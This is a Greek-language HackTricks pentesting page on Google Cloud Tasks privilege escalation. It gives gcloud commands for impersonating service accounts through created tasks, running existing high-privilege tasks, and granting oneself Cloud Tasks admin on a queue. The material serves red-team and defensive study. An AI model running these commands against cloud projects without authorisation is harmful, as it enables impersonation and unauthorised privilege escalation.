GCP - Cloud Tasks Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να υποδυθεί άλλους service accounts δημιουργώντας tasks που εκτελούνται με την ταυτότητα του συγκεκριμένου service account. Αυτό επιτρέπει την αποστολή πιστοποιημένων HTTP requests προς υπηρεσίες Cloud Run ή Cloud Functions που προστατεύονται από IAM.

Create Cloud Task with service account impersonation ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ --location us-central1 \ --queue \ --url 'https://.us-central1.run.app' \ --method POST \ --header 'X-Hello: world' \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ```

cloudtasks.tasks.run, cloudtasks.tasks.list

Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να εκτελέσει υπάρχουσες προγραμματισμένες εργασίες χωρίς να έχει δικαιώματα στον λογαριασμό υπηρεσίας που σχετίζεται με την εργασία. Αυτό επιτρέπει την εκτέλεση εργασιών που είχαν δημιουργηθεί προηγουμένως με λογαριασμούς υπηρεσίας υψηλότερων προνομίων.

Εκτέλεση υπάρχουσας Cloud Task χωρίς δικαίωμα actAs ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ```

Ο principal που εκτελεί αυτήν την εντολή δεν χρειάζεται την άδεια iam.serviceAccounts.actAs στον service account του task. Ωστόσο, αυτό επιτρέπει μόνο την εκτέλεση υπαρχόντων tasks — δεν παρέχει τη δυνατότητα δημιουργίας ή τροποποίησης των tasks.

cloudtasks.queues.setIamPolicy

Ένας attacker με αυτήν την άδεια μπορεί να χορηγήσει στον εαυτό του ή σε άλλους principals ρόλους του Cloud Tasks σε συγκεκριμένες ουρές, ενδεχομένως κλιμακώνοντας σε roles/cloudtasks.admin που περιλαμβάνει τη δυνατότητα δημιουργίας και εκτέλεσης tasks.

Χορήγηση ρόλου admin του Cloud Tasks σε ουρά ```bash gcloud tasks queues add-iam-policy-binding \ \ --location us-central1 \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ```

Αυτό επιτρέπει στον επιτιθέμενο να παραχωρήσει πλήρη δικαιώματα διαχειριστή του Cloud Tasks για την ουρά σε οποιοδήποτε service account που ελέγχει.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks